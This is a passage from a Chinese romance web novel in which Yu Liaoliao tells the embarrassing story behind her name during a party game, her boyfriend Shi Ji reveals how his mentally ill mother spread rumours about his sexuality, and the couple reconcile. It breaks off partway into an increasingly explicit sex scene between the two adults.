喻了了属于最后一种,因为她五音不全,酒量一般,对桌面游戏还有点ptsd,直觉已经到了“凡上桌必出糗”的地步,甚至还有可能越认真越搞笑。 然而这种人往往就是桌面游戏的“宠儿”,那边几乎是刚定好准备玩什么,就有人高呼了声:“你两坐那干嘛呢?快过来玩儿啊!” 喻了了警惕地看过去,语气坚定:“不玩!” 好巧不巧,众人定下的游戏竟然也是“时间炸弹”,且不说她对这玩意儿尤其ptsd,就游戏本身也是专门为暧昧期的男女设置的吧?因为还没有互通心意,就先通过游戏的方式来探索一些信息。 可她现在又不是这种状态,也根本没有能给别人助攻的情商啊! “赶紧来你的。”蒋俊昊却跟没听见似的,扬了把手说:“一会儿小潘来邀你k歌就老实了。” “……” 玩游戏=可能出糗 唱歌=直接出糗 喻了了想通关键,立马起身来到C位,一副这游戏没她就进行不下去的架势坐了下去! 时霁自然是“客随主便”,她去哪儿就跟着去哪儿,然而他刚一抽开椅子,喻了了就跟想起了什么似的,应激地抬头确认了下:“有规定一定要说实话吗?” 易曜文正用手机设置时间,闻言无解地看过来:“废话!不说实话我请来演讲的?” 与此同时,身旁传来一声低笑。 喻了了回头,没好气瞪了一眼,像在用眼神较劲:笑什么笑!防的就是你! 时霁很快收敛神色,压平唇角坐直了些,满脸都是必将以对待升学考核的态度投入游戏的郑重。 喻了了这才哼地一声偏过头去。 然而尽管刻意强调了下,可到游戏真正开始的时候,她才发现自己好像也没什么可问的,因为她要是想知道什么,平时就都可以问,他也不会不答,而诸如昨晚那样使她心烦意乱却又说不出口的话题,也并不适合通过游戏来欲盖弥彰。 所以这条规定,最后约束的反倒只有她自己。 …… 参加游戏的有十来个人,其中处于暧昧期的男女大概有三对,这会儿全都默契地挨在一块儿坐着,而在听过一圈“在座有没有你喜欢的人?”、“我在你眼里是什么样的?”之类的问答后,喻了了只觉得自己强得可怕! 开玩笑。 说实话又怎么样? 现在根本就没什么问题是她不敢回答的好嘛! 几轮下来,她连接递手机都不带停顿的—— 胡明宇问:“暗恋过几个异性?” 她想都没想就答:“没暗恋过,全是明恋!”表情还有点沾沾自喜。 胡明宇问:“是怎么追上时医生的?” 她瞥了一眼时霁,就傲娇道:“表了个白就追到了呗,又不难。” 胡明宇又问:“上一次接吻是什么时候?” 她也只是咬了咬牙,一副虽然不 是很想承认但也没必要说谎的样子说:“昨晚。” …… 因为是“暧昧游戏”,大家问的几乎都是情感问题,但这些问题拿来问情侣多少就有点没意思了,都已经明晃晃住进情侣大床房了,发生点什么不正常? 胡明宇越问越没劲,还平白吃了半天狗粮,最后咂摸了下,忽然就换了个方向问:“人生中最丢脸的一件事是什么?” 他也没多想,只是觉得她这人平时就挺好玩的,时不时就能很认真的出点糗让人笑到腹痛,突然就有点好奇她出过最大的糗得是什么样的? 却不想一击即中,直接就把喻了了砸得当场失语,细看还有点恼羞成怒的意思:“……” 短暂的沉默过后,胡明宇反应过来:“不是吧?还有你自己都觉得丢脸到说不出来的事情?” 蒋俊昊立刻就来了精神:“赶紧说出来,让我们也高兴高兴!” 对面几人也说:“搞得我也有点好奇了欸……” 八卦是人的天性,尽管这原本只是个很寻常的问题,但当一个向来坦荡荡的人环就有了忌讳,好奇心和探究欲便会没来由的沸腾,就时霁的角度而言,还多了层想将人全面包裹的占有欲。 没人会不想了解自己喜欢的人,好的坏的,有趣的,微妙的。 但随着时间推移,发现她是脸色愈发有点难堪,攥着手机的力道也在一点点收紧,他的心态自然也跟着有所转变。 刚想提醒只要等手机里倒计时结束,再把酒递给他喝,就可以不用回答时,她却忽然寡着张脸挤出声音:“我叫喻了了。” “?” “??” 十几道无解的目光扫过来,坐在近处的胡明宇尤为明显:“谁让你自我介绍了?” “我说。” 她咬牙,一字一句重复:“我叫喻了了!” 众人这才意识到,她是在回答问题。 虽然但是,蒋俊昊还是没忍住:“了了这个名字是有点随便,但它丢脸在哪里呢?” …… 丢脸在哪里呢? 那大概得追溯到她出生以前。 那时妻子刚怀孕,喻坚强就一心只想要个女孩儿,可以随妻子的温柔可人,而非像他似的大老粗。 于是一个糙老爷们成天就抱着几本诗经古籍,反复拟定又推翻后,终于定下要是女孩儿的话就叫喻沅可,不到出生家里的裙子布偶就买了成堆,可爱的小棉袄黏着自己撒娇的画面也是想了一遍又一遍。 又因为那会儿计划生育抓的严,警察的工作性质更是如此,机会只有一次,期待之大可想而知。 生产那天,他在厂房外等了近12个小时,本来就焦灼到有点撑不住了,在看到护士抱着孩子出来说是女孩儿时刚提起点精神,就又在低头看到襁褓里窝着个黑漆漆又皱巴巴的小东西时就陡然卸了个干净。 登时便两眼一黑,差点没当场昏过去。 他是想要个女孩儿没错。 但他想要的是个像妻子一样活泼可爱的女孩儿!这会儿却蹦出个丑不拉几、长大了还极有可能像自己的小东西又算怎么回事??? 他扶着墙根,多看一眼襁褓就多虚脱一分,愣是半天都没能缓过来,一直到产妇被推行出来,才不得不猛锤胸口劝自己: 喻坚强。 你可一定要坚强啊! 那时的他并不知道刚出生的婴儿大多都是这样模样,等到了新生儿姓名登记环节,一想到培育箱里的那个丑玩意儿,“喻沅可”三个字就卡在喉咙里死活说不出口。 最后在工作人员的再三询问下,才不得不45°角仰望天花板收敛泪光,不知是释怀还是认命地叹气道:“罢了罢了。” “就叫喻了了吧。” 妻子知道这事后,差点没从病床上跳下来跟他拼命,而喻了了的整个童年,也因此充斥着各色调侃: “哎哟,这不是沅可嘛,今天老师点名是这么叫你的吗?” “姨开玩笑呢,怎么说你两句还不高兴了?这小臭脸蛋可真是随了爸呀。” “不丑不丑,我们沅可哪里丑了,赶明儿就让你爸带你去把名儿给改回来好不好……” 在很长一段时间里,喻了了听到这个名字就会一点就燃,草率的人生开端,也直接造就了草率的父女关系,之后任凭喻坚强如何补救也无济于事。 且一直到现在,都仍有着让她瞬间气结的威力。 “噗哈哈哈哈哈——” “罢了罢了是什么鬼啊?你爸也太人才了吧哈哈哈!” 所有人不出意外,全都拍案笑到肚痛,胡明宇甚至还抹起了泪花:“别说,叔叔还是给你留了面子的,不然要是叫喻罢了,或者喻罢罢,那不是更搞笑了哈哈哈哈——” 喻了了像是见多了这种状况,并未如何挣扎,只扬手回了个锅盖说:“我是你爸爸!” 而后把手机往桌上一丢,板着脸起身:“自个玩儿去吧!”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 50-54 第51章 第51章你就不会亲我吗! 经年往事,虽然还是有撼动情绪的效用,但毕竟已经过去这么久了,那一瞬的气愤涌动过后,更多的还是应激般的烦躁,和某种微妙的、难以启齿的丢脸。 就像大人们说的,那只是一个玩笑而已,可她却偏偏要这样在意、较真、赌气,乃至因此感到挫败。 这种隐隐下沉的情绪,让她有点无力,暴走的速度越来越缓,到最后忽然就提不起劲,停在草坪上的一颗大树前,席地坐了下来。 于是路面上晃动的两道影子,也终于在月色中变得沉寂。 喻了了垮着张脸,泄愤似的,一下接一下拔着跟前的杂草,直到面前那一小片都快被薅没了,搞破坏的手才倏然被扯开:“再拔就秃了。” “那又怎样!”其实从刚刚在包间起,她就一直没太敢往边上看过,也说不清为什么,虽然大家都在笑,可她就是不想看某人也这样,尽管那好像只是个再正常不过的反应。 “不怎样。”时霁捏捏她的掌心,又带远了些说:“换一片拔。” 喻了了哼了一声,把手绕回来:“我就要拔这片!” “行。”时霁也没再阻止,隔了会儿才轻笑着补充:“单赔一片还便宜点儿。” “……” 她这会儿对笑声很敏感,蓦地便抬起头,见他神情松拓,隔着镜片的眸色柔和,带着点儿纵容,的确是在笑的,却又似乎和想象的不太一样。 说不清为什么,她好像并不反感这样的笑,却偏还要嘴硬:“想笑就笑!” 像个受了委屈的小孩儿。 强撑着说我才不需要安慰! 时霁眼底笑意更浓,见她手闲下来,似乎已经对拔草失去兴趣,便又扯过来,一点点拍开掌心的草屑:“没什么好笑的。” 喻了了哼声:“我才不信!” 明明脸上就还挂着笑! 时霁没应,只是把拍干净的小手拢进掌心,冷不丁问了句:“他们说你,就那样让他们说了?” 喻了了愣了愣,才反应过来他说的是小时候开她玩笑的那些人,当即便拧了下眉,挺直脊背说:“怎么可能!” 他眉梢轻挑,一副洗耳恭听的模样:“嗯?” 她无端就有种在解决一道难题之后,被人赞许地询问你是怎么做到的感觉,忽然就又点儿傲娇,一副这其实也没什么的表情,扬起脖颈娓娓道来:“一开始就是跟他们讲道理啊,后来发现没用就学会变通了呗……” 几乎是从记事开始,她每逢外出都必被调侃一遍” 呀!这不是沅可嘛“,然后再顺着被人科普,喻坚强就是觉得她丑才不给她用这个名儿的故事,摆明了就是想看她什么反应,等她生气了,就又要一副老好人的模样,煞有介事地开始哄:“奶奶说错了,是了了是了了”、“爷爷就开个玩笑,这怎么还能生气呢”、“这暴脾气,还真是随了老喻……” 无休无止,一遍又一遍。 他们打着开玩笑的名义,行的却是嘲讽的事实,更有甚者,她的表现越应激他们就越兴奋。 一开始她不懂,以为只要反驳的声音大一点,盖过他们就可以了,结果就是喉咙都扯破了,对面却还在哈哈大笑,更别说是在得知她因为这事,一次次地跑回去要跟喻坚强决斗之后,延伸出来的新版本有多变本加厉。 她就一张嘴,当然谁也吵不过,碰到同龄人,或许还能动手解决问题,但事后她同样也会挨上喻坚强的一顿揍,可如果对面是长辈,又说只是开个玩笑,那她甚至连动手的由头都没有。 吃的亏多了,慢慢就学了聪明,既然她没有泄愤的理由,就同样要让他们有气没处撒! 自那以后,但凡有长辈开她玩笑,之后他们戴上的假发就会脱不下来,泡水清洗的假牙会彻底消失,抽烟会被辣椒粉呛到怀疑人生,时不时还会被踹翻的夜壶臭醒…… 那段时间,小区里可以说是人心惶惶、鸡犬不宁,隔三差五就哀嚎遍野,说不准又是谁遭了什么殃,都能猜到是谁干的,偏偏又都抓不到证据。 苦不堪言的日子持续了一段,直到谁都没心情也不敢再开那么无聊的玩笑,这件事才慢慢地翻了篇。 她绘声绘色地说完,神采奕奕地样子活像是又当场报了一次血仇,时霁抖着肩膀笑起来:“挺厉害。” 她也半点儿不谦虚:“那当然!” “怎么没改名?”他忽而又问。 “……” 喻了了神情一滞,撇撇嘴道:“谁稀罕!” 和他想的一样,在喻了了慢慢长大,喻坚强也慢慢意识到错误时,他也曾想通过改名,来缓解岌岌可危的父女关系,但这就好像一枚精心准备给她人的糖果,因为没给出去,才忽然扭头丢给她说“既然你这么想要就拿去吧”,她才不稀罕! 哪怕是后来同学们看错名字,恶搞着把“喻了了”喊成“喻33”和“喻丁丁”的时候,她都没有过一丝一毫的动摇!只是随手打掉了同学两颗牙,并且那还是两颗成长路上本来就会换掉的牙,转头就把这事忘了。 时霁不明觉厉地点点头:“……嗯,不稀罕。” 又默默在心里坚定了等彻底把人哄好就安安分分过日子的决心后,忽而也有些释然:“那要不要,我也跟你分享件糗事?” 掌心被拨愣得有点痒,喻了了想抽开又没舍得:“什么?” “关于我是同性恋的传闻,是从哪儿冒出来的。” “……” 喻了了猝然抬头,这才想起其实还是有一些她想知道,他却并未如实相告的事情,她曾经也为此纠结过,可不知怎么,当他突然决定要将一切剖开时,她的第一反应竟然是紧张:“不知道。” “我妈。”他并未停顿,轻而易举便说了出来。 “……” “她是同妻。” 时霁笑笑,又说:“捉奸在床。” 他难得有些坦然,也不知怎得,忽然就觉得那些被埋在阴暗角落见不得光的事情,其实也不过就只是那样。 仔细想想,甚至都已经遥远到有点记不清了。 总结起来,大概就是母亲偶然撞破父亲的秘密,原本平静的生活彻底被搅成一团浑水,又在经过漫长的拉锯期后,终于带着他改名换姓,离开了从前生活的那个家。 到这里其实也还好,虽然家庭破碎、父母离异,但母亲对他愈渐严密的关心与保护也很真切,尽管那会让人有点儿透不过气,但也真的还好。 然而等母亲在剧大的震荡中“缓过来”,猛然发现最大的敌人已经消失,痛苦却并未因此而减轻后,那无处安放的矛头便自然而然地指向了他。 她开始怀疑他的取向,反感他的行为逻辑,但凡他身上有一丝像父亲的地方都会瞬间应激!哪怕只是拿筷子的方式,与必然有所肖似的骨骼,哪怕那时的他仅仅只有8岁。 她开始变得有点不正常,到最后甚至只是看到他,都会没来由的恶心干呕,之后的很长一段时间里,家里的窗帘都是紧闭的,黑暗充斥着每一个空间,因为只有看不清他的模样,母亲才勉强能与他相处。 可这样原本就已经不太正常的生活,也才看看持续到中学,就又一次迎来裂变,起因是学校里有人同他表白,在被抓“早恋”叫了家长后,母亲当场就失了控,歇斯底里地冲递情书的女生喊道:“你知道他喜欢的是男是女吗?怎么就敢他表白——” 这天起,他疑似同性恋乃至确为同性恋的传闻,就遍布整个校园,因为他一向孤僻,对异性更是如此。 到了高中,因为几个从同中学升上来的校友,传闻也很自然地延续了下去,本以为到大学就算结束,但实则不然,母亲似乎有意想以此规避他伤害他人,虽然不直到是通过什么方法,但他的确是刚踏进校园,就又一次成了“风云人物”,无非是在大学期间,人们的思想相对开放,尽管同样认定他是同性恋无疑,却不再有多少人会把他视做异类。 喻了了翕张着唇,好像失去了声音,半天才磕绊着问:“你妈妈……是生病了吗?” “嗯。”时霁点头:“治疗过,效果不大,但见不到我就会好很多。” “所以你才一直都是一个人?” “嗯。” “从什么时候开始?” “中学吧。”时霁想了想说:“住校之后就不怎么回去了。” 甚至是被勒令不要回去,因为外公说,他不在的时候母亲状态很好,就像一切都没有发生,她从未步入婚姻,更不曾有过他那样。 喻了了拧眉:“那他们都不管你了,为什么到你上大学、再到上班,还是会有人那样说你啊!” “也许。”他笑了下:“因为某种社会责任?” 说来可笑,母亲既害怕他变成父亲,却又笃定他一定会变成他,所以在她自己遭受过那样的伤害后,杜绝悲剧再次发生就成了她的执念。哪怕她已经将他从生活里驱逐,认定这个世界从未有过他的存在,都不曾放弃过继续向大众普及这个“危险提示”。 她倒也不是要对他怎么样,只是不想再看到任何一位女性步她后尘,而只要有这个传闻在,就没有谁会傻到要去和一个同性恋谈恋爱。 “这么看来,她好像还挺善良的。”他自嘲道。 喻了了气到爆粗:“放屁!” 她都有点没法想象他这些年到底是怎么过来的,原本以为困扰自己童年的烦心事已经够讨厌了,可和他的这份惊悚相比,简直就是小巫见大巫! 因为她还可以大声反驳,大声告诉大家她叫喻了了!但他能怎么办?总不能到处跟人说我不是同性恋!而在那些还不知道取向是什么的年岁里,会不会连自己都觉得自己是“不正常”的? 他妈妈固然可怜。 可8岁的他又做错了什么? 她一把甩开他的手,叉腰深吸了几口气,恨不能回到那年直接把人带走:“那你就由着人这么欺负你了?” “没。”他又把手拉回来,轻轻揉搓着:“之前不是问我为什么学医么?” “昂。”她眨了眨眼:“你不是说因为家里有人学医吗?” “嗯。”他点头:“我爸,是皮肤科医生。” “……” 他当然没那么善良。 决心填的志愿,也难说是为了恶心谁,只是觉得既然认定他会变成父亲,那他便就向他看齐,这样的话,那些强加在他身上的事才算合理吧? “什么啊!!!”喻了了快气死了,挺直脊背教育他:“你是怎样的跟别人又没什么关系!干嘛要因为别人瞎报不喜欢的专业啊!” 说完又有点心虚,因为她自己学建筑,好像也是被喻坚强给坑进去的…… 时霁像是猜到了她在想什么,不自觉便笑出声:“本来是这样的。” “但后来想想,学医其实也不错。” 喻了了不解:“为什么?” “因为。”他眼底笑意清浅,像一艘满载柔暖月光的孤舟,悠悠然驶进她的领地:“我又见到你了。” “……” 喻了了呼吸一滞,所有壮烈的情绪都暂停,整个人像卡壳一样呆愣住,听见他又说:“像小时候期许了很久的愿望,突然就实现了那样。” “又见到你了。” 他从前是有点胆小的,诚然,在转学远离她时曾有过轻松,那枚被强加给他的奖牌,也曾数次在垃圾桶边缘徘徊过。 可后来,那一个个蜷缩在黑暗角落的夜里,他又不止一次地后悔,不止一次地想过:喻了了,快来把我带走吧,不是说要保护我,会对我负责的吗? 不知从什么时候起,看到那枚差点被遗弃的奖牌时,心底涌动的情绪也不再是害怕,相反的,是每当他感到害怕的时候,就会下意识地紧紧抓住它。 喻了了心口鼓动,好几种情绪交织在一起,有惊喜,有愕然,最后演变成一种没来由的难过,像做错事一样低下头来,噘着嘴说:“……我找过你。” “嗯。”时霁一手绕到她身后,把人揽近了些:“我知道。” 她没想逃避责任:“但是没找到。” 他却说:“现在找到了。” “……” 眼前浮光掠影般晃过许多,那画面似乎有些美好,沉浸其中的声音也变得温润:“我没想骗你。” “啊?”喻了了茫然地眨了眨眼。 片刻后,又一次听到他认真而郑重地说明:“再见到你的时候,我其实也说不清自己是什么感受,可能就像小时候那样,如果不是你一定要来找我,我大概什么都不会做。” “但要说并不期待你的靠近,那也一定是假的。” “因为即便是以为你有‘男朋友’了,我都还是什么也拒绝不了,尽管那有些阴暗,但我就是想知道你究竟会走到哪一步,甚至还冒出过你会不会为了我放弃那个男朋友这样恶劣的想法。” 他顿了下,像是也才看明白自己的心理:“所以,与其说‘我认为你是一个会出轨的人’,也许是‘我在期待你会向我偏轨’要更贴切些。” 喻了了捋了半天,才意识到他是在解释吵架那晚自己质问他的话。 也不知道为什么,明明结论都差不多,明明“他觉得她会出轨”和“她向他出轨了”,这两者全都是不对啊,哪有又有什么高低之差,可被他这么解释之后,她却还是觉得中听了很多。 莫名就有种,这种想法虽然不对,但他说他希望我会喜欢他欸! ……的心花怒放。 她嘴角要翘不翘的,按捺了会儿才嘟囔道:“……什么乱七八糟的。” 时霁看着她的小表情,没忍住捏了捏她的脸蛋,才继续说:“那些传言,可能在中学时困扰过我一阵,但其实早就已经不算什么了。” “我并不在意别人怎么想,也早就认定那些听过传言的人,绝对不会相信我的解释。事实也的确是这样,学生时代自不必说,而工作之后偶尔被人搭讪,我却事先没有告知,她们又在事后听说之后的反应,你之前也见过了。” 喻了了想起他再诊室门口挨得那个巴掌。 忽地又拧起眉。 他又揉了揉她的后颈,反过来宽慰说:“你不是帮我出过气了?” “……”好像也是。 他笑了下,接着把话说完:“这些都不重要,我只是想告诉你,我并不在意别人都是怎么看我的,但你除外。” “很莫名的,我就是觉得,如果这个世界上有个人是不一样的,那个人一定是你,我也只希望是你。” “所以,你可以质疑我的动机,但不能质疑我的目的,我只是想和你在一起,很认真、很认真的在一起。” “……” 喻了了两只手搅在一起,只觉得大脑热得快要爆炸,人也快被哄成胚胎了。 他又说。 他只想跟我在一起欸!!! 她心里擂鼓宣天,都止不住地想跳起来扑到他身上了,面上却还强绷着一副“哦,这样啊”的已阅表情。 直到他出声喊她:“喻了了。” 她抬头:“啊?” 他对上她的视线,声线放得很低,带着点儿乞求的意思:“别分手行吗?” 她心口窦跳一下,抿了抿唇,好半晌才强行拉平唇线:“……哦。” 他略低了低头。 抵着她的额角,像终于松了口气般笑起来。 视线交织,距离已经很近,他却半天都没再动作,只是很安静地注视着她,眼底还散着些孤注一掷过后脆弱与破碎。 勾得人愈发难以自持。 喻了了绷着脸,进也不是,退也不是,连呼吸都难为情,一口气到了尽头,终于撑不住地问:“……看什么?” 时霁揽着她的腰,视线又压低了些:“看你,什么时候才肯亲我。” “……” 喻了了睁大眼睛,被已然打在唇边却偏偏又不肯落实的气息,搅得满脑子都是浆糊,自觉合理地反驳:“我、我不亲你,你就不会亲我吗!” “嗯。”时霁低笑着,温热的唇终于带着得逞的弧度,切实地覆上去:“也是。” 第52章 第52章你可以看一整晚。 洗漱过后,喻了了抱着手机坐在沙发上打游戏,而屏幕里的小人却因为主人的心猿意马,几次三番挣扎在垂死边缘。 浴室的私密性很差,脱光之后站在里面一点儿安全感都没有,所以她刚刚洗的很快,可这会儿换了个人进去,脑子里却又冷不丁冒出了个“洗个澡而已,拉什么帘子啊”的想法。 毕竟他们都已经和好了,刚刚还接了个超级久的吻,他也有了很明显的反应,并且都已经进去这么长时间了,说不定就是在等她主动一点儿呢? 她很自然地想起了吵架之前,他们本来就准备要做的那件事,那现在既然都和好了,是不是也应该要再把进度给拉回去? 虽然她也没有那么迫不及待。 但他要实在忍不住,非要那样的话,她当然也没什么意见啊。 脑子里噼里啪啦的,越想越像那么回事,没多久就把自己意淫得面红耳赤,连淋浴声是什么时候停下的都没注意,等时霁拉开帘子,站在镜台前看过去时,她就是这么副捧着个手机坐那儿傻笑的模样。 “还不睡?”他疑惑道。 “!” 喻了了吓了一跳,手指胡乱点击,一脸很忙的样子:“啊……等这局玩完,马上就睡!” 然而等他吹完头发,熄了屋里几处大灯,又拢着一身松木香靠过来时,她那点儿残存的操作意识,便也像是被这道冷香稀释了般,一吹即散。 她肩膀一沉,心跳恍然失衡。 几乎是控制不住的,动几下手指,就偏头瞥他一眼,又动几下,又瞥一眼,一直到手底下的小人无辜死去,那几乎是衔着她耳垂的清冽气息,才终于有所波动:“玩完了?” 喻了了面泛红晕,小弧度点头:“昂……” 时霁低眸,视线勾描她的轮廓,又在颤动的红唇上停了一下,继而半俯下身,打横将人抱起。 喻了了浅浅瑟缩了下,心跳也因为某种隐晦的了然而砰砰作响,却还是环住他的脖颈,由着人把自己平放到床上后,安静对视。 他这会儿没戴眼镜,丝质睡衣也很单薄,最上面那颗扣子没扣,于是好看的喉结连同颈下的一片肌理,都尽数在眼前铺在,像连绵 的山脉,一眼可见波澜,却仍叫人止不住地想迈进更幽深的腹地。 尽管那似乎有点儿危险。 喻了了不自觉吞咽了下。 半伏在身上的人唇角微扬,终于倾身,在她眉心落下一吻。 搭在他肩上的小手蓦地收紧。 喻了了闭眼,按捺着心跳迎接他的探索,然而不过两秒,漾在眉间的温凉便克制地分离开来。 他直起身,抬手摁灭最后一盏射灯:“睡吧。” “晚安。” 床沿的感应灯也在她缓缓睁大的眼中彻底覆灭:“……” 他走了?? 他居然走了!!! …… 死寂蔓延了整整十分钟。 喻了了一口气堵在胸口,上不去又下不来。 活活气死之前翻了个身,愤怒地把脸埋进枕头,差点憋死之前又翻了个身,仍然愤怒地和天花板面面相觑。 她满脸的生无可恋,就这么无声爆了800句粗,又挣扎了800遍是要就此作罢还是补救一把后,终于还是没忍住咕哝了声:“……时霁。” 时霁单手枕在耳后,视线落在虚空中,幽深眼底亦有些紧绷,直到听到这声叫唤,才似松口气般化开些许:“嗯?” 喻了了顿了顿,努力凹出一种仅仅只是出于关心的语态:“睡沙发会不会有点不舒服呀?” 他总算掀唇,声音却不显:“还好。” “……哦。” 喻了了瞬间又蔫下来,难免对他的回答有些不满,但仔细想想又觉得没什么不对,本来就是自己要求他去睡沙发的,并且她当时的态度也非常绝对,所以就算是现在和好了,他一时拿不准自己的意思好像也很正常? 这么想着,淤在胸口的那股气顿时就散开了些,同时还生出一种“一定是她这段时间表现得太凶了,才让他连她生气时的一句话都不敢违背”的愧疚心。 她抿了抿唇,很快便放软语气,又重新问了一遍:“但我感觉这个床还挺舒服的欸,你要不要试一下?” 那头却还是有点犹豫,隔了会儿,才低淡应声:“……还是算了。” “可是我想让你试一下!” “嗯?” 喻了了抱着被子坐起来,很急切地说:“就是,我之前是因为还在生气才让你去睡沙发的,但我现在已经不生气了啊,所以你可以过来跟我一起睡!” 时霁听见动静,也撑着胳膊坐起来,却仍有所顾忌似的:“可你之前不还说,要是有人随便靠近你,都会被摔成两半么?” “不会的!” 她甚至连自己什么时候说过这么扯的话都有点想不起来,就忙于安抚:“那是我骗你的!而且我睡相超级好,睡着之后根本就不会乱动!” 时霁像是被说服,声线不觉有些松动:“真的?” 喻了了定定点头:“嗯嗯!” “一定要我过去?” “嗯嗯嗯!!!” “好吧。” 话音落下,她就眼巴巴盯着那头,满脑子都是要用自己的热情与真诚,安抚他这段时间被自己伤害的心,毕竟她的男朋友从小就那么柔弱无助,破碎又可怜。 而那点儿不知从哪里冒出来的难为情,也早就在某人的引导下被抛到九霄云外,只等人起身走进,掀开被子坐进来的瞬间,就立刻跟个八爪鱼似的虎扑过去:“嘿……” 感应灯亮了又灭。 时霁终于找回自己的贴身挂件,又一次被强大惯性结结实实扑倒在床时,失而复得的满足便再也无可抑制地溢散开来。 相拥的力道一再收紧,似要将人揉进骨血里。 他当然不是不能主动,只是相比之下,还是更怀念女朋友那满到要溢出来的热诚,与亮着眼睛从怀里探出脑袋时的生动:“时霁。” 鲜活呼吸自胸前一路上扬,喉结像被灼到了一样,不住轻滚:“嗯?” 喻了了像被这个反应吸引,盯着喉结看了会儿,才缓慢将视线上移,双手同时绕到他肩上,一把将人摁倒后,又手脚并用地爬上去,继而不容商量地捧着他的脸说:“我还想再亲一会儿。” “……” 时霁神情稍滞,反应过来时,就已经被摁在床上亲了有一会儿了,而强吻他的“恶霸”明显耐心不足,见他仍没有松防的自觉,很快便又带着气性胡乱咬了一口。 “嘶……” 他眸色一沉,吐息间翻了个身,颇有些报复意味地将人反压在身下,大掌扼着她的后颈,唇齿有过之无不及地倾覆下去。 “唔……” 喻了了对此倒没什么意见,闷哼了声,便抱着他的脖颈迎合上去。 呼吸在辗转间变得滚烫,压抑了这些日子的诸多情绪与念想,全都通过这个乱七八糟的吻暴力释放,一直到交织的热流烧得人快喘不过气,暴烈的亲吻才逐渐缓和,却仍带着食髓知味的难耐,流转于对方的五官、下颌、脖颈…… 时霁头发被揉乱,唇角遍布咬痕,喉结也没能幸免,胸前衣料被扯开,扣子还掉了两颗,放眼望去,全是她胡作非为的痕迹。 喻了了却犹觉不足似的,指尖经由胸膛探进腰腹,被贲张肌理激起破坏欲,忽地用力掐了一把,刚要继续,手心便被捉住,桎梏在头顶,没过多久,又熟门熟路地绕回来,又掐一把,时霁倒抽口凉气,再次把人捉住:“……别闹。” 喻了了本以为他只是受不住,闻言才觉察到拒绝的意思,不由眨了眨眼,疑惑道:“你不想吗?” 当然也只是象征性地问问,毕竟就算他嘴上说不,身体也是骗不了人的。 她早就感觉到了。 时霁伏在她身上,呼吸很沉:“想。” 喻了了感知着胸前的共振:“那为什么?” “……” 他闭眼稳了会儿心神,终于支起胳膊看她:“要是做了之后,你又跟我提分手呢?” “?” 喻了了一时也没明白这二者之间有什么联系,而且这好端端的自己又干嘛要跟他提分手?但想来应该就是这次吵架的后遗症,因为自己提分手太随便,他多少有点没安全感了。 “不会啊。”她立刻解释:“上次是因为你有事瞒我,而且我又在气头上嘛,但你又没有别的什么事再瞒我了,所以我也不会再提了呀!” “说不定呢?”他垂着眼帘,默了默,才颇有些无力地说:“毕竟上回,我也没想过你会提。” “……” 人甚至不能共情一个月前的自己。 所以她到底为什么会一吵架就提分手?为什么就不知道给自己留点儿退路?搞得现在都这样了还得被卡上一道。 “哎呀!”意识到这事儿好像没法否认,她赶紧又搂着人亲了一口,试图就这么绕过去的模样,活像个急于把人骗到手,就什么花言巧语都说得出来的渣男:“那我都知道错了,肯定就不会再有下一次了嘛!” 时霁冷笑了下,心道你要是稍微把表情收一收或许我就信了呢,嘴上自然也不肯放过:“那要是腻了,或者变心了呢?” “总之,得到手就不会太珍惜了吧。” 喻了了冷不丁有点恍神,总觉得这桥段好像在肥皂剧里看到过,当时那些男的听到这些话,都是怎么回答的来着? 她一时没想起来,却也深知在这种情况下“态度”的重要性,很快便义正言辞地拔高声量:“怎么可能啊!” “我这么喜欢你,当然不会腻啊!又怎么可能会变心嘛!” 心不心虚不好说。 但要是说慢了,这把准得玩完! 她应付完便悄悄在心里松了口气,还为自己如此之快的反应小小骄傲了下,然后为了奖励自己,手心又往下去了点儿,不想却被精准预判,还没等碰到什么,就又被牢牢扣住。 时霁很想说你就是忽悠我也稍微上点心吧,但为长远计,还是 忍了下来:“怎么保证?” 喻了了有点懵:“……” 这能怎么保证? 想想又觉得自己刚刚除了心急了点儿,说得其实也都是实话,毕竟她现在满心满眼都是想和他不可描述,哪里又有功夫去想什么分手、腻了和变心啊。 “那要不然……”她嗯了一下说:“之后我要是再提分手都不算数,得你答应了才行,全都听你的,这样可以吗?” 他扬了扬眉,总算满意了点儿:“得我答应才行?” 见方案奏效,她立刻点头:“嗯嗯!” “全都听我的?” “嗯嗯嗯!” “那现在可以继续了吗?”她天真道。 “当然。”他薄唇轻掀,深沉的脸上这才显出些耐人寻味,下滑的指尖勾住裙摆,掌心在瞬间变得热烫。 喻了了像被灼了一下,还不及反应,细微的触感就自下而上。 轻缓、绵密。 她微微睁大眼睛,神情一时有些错乱。 大约是他一向都还挺克制的原因,在一起这么久,每次接吻也都只是安静抱着她,除此之外从未有过任何越轨的举动,所以她潜意识便觉得,亲热这件事好像就是自己要对他做什么,甚至刚刚真空在他身上乱蹭了那么久,认知里也仍然都是安全的,也是到身体忽然被掌握的此刻,才蓦地反应过来,这种事……好像是互相的。 她脸颊发烫,脊背僵直,连脚趾都在用力,才勉强忍住刚刚不小心发出来的那种声音,心里有点儿不明白,明明也就是正常接吻,他好像还比平时更温柔了点儿,自己的身体为什么会变得这么软?却突然又可以理解,他之前为什么老是不让自己摸了。 因为这实在是有点儿太刺激了…… “时、时霁……”交缠的唇齿刚一分离,那裹挟着两份炽热的吻便辗转直下,她终于得以喘息,脖颈却被逼得一再上扬。 时霁埋首在她颈肩,轻咬着锁骨的声音有些含糊:“嗯?” “……” 她其实也没想好要说什么,就是没来由的有点儿紧张,尤其是在感觉到左边的睡裙吊带被咬开,喷薄的热气几乎就要渗进领口时,身体还相当不争气地抖了一下。 他缓缓游弋的气息停了停,低笑的声音透着点儿挑衅:“怕了?” “当、当然不是了!”她忽地拔高声音,感觉被问得很没面子,毕竟刚刚非要这样的人就是她自己,事到临头才被发现有点怂又算怎么回事? “嗯。”他当然也只是随便问问,毕竟都这会儿了,要还停得下来,他差不多也得收拾收拾准备遁入空门了:“那就放松点儿。” “……哦。” 话虽是这样应着,可等早已移位的衣料被彻底拨乱,经受了半天摩挲的温软又遭遇热流,她还是没忍住惊呼出声,又无措地将他抱得更紧。 他却丝毫没有要停下的意思,大掌拢着她的腰身,固执地将温热铺散开来,一寸一寸地轻抚探索。 她涨红着脸,从无所适从到慢慢适应,再到有点儿难以言喻的受用,吊带睡裙一会儿被向下拉,一会儿被往上推,终于不堪重负被撕扯开抛出被窝时,那已然滚烫到灼人的温度,也终于向下蔓延到了最幽微处。 薄唇轻启,舌尖蜿蜒。 “……” 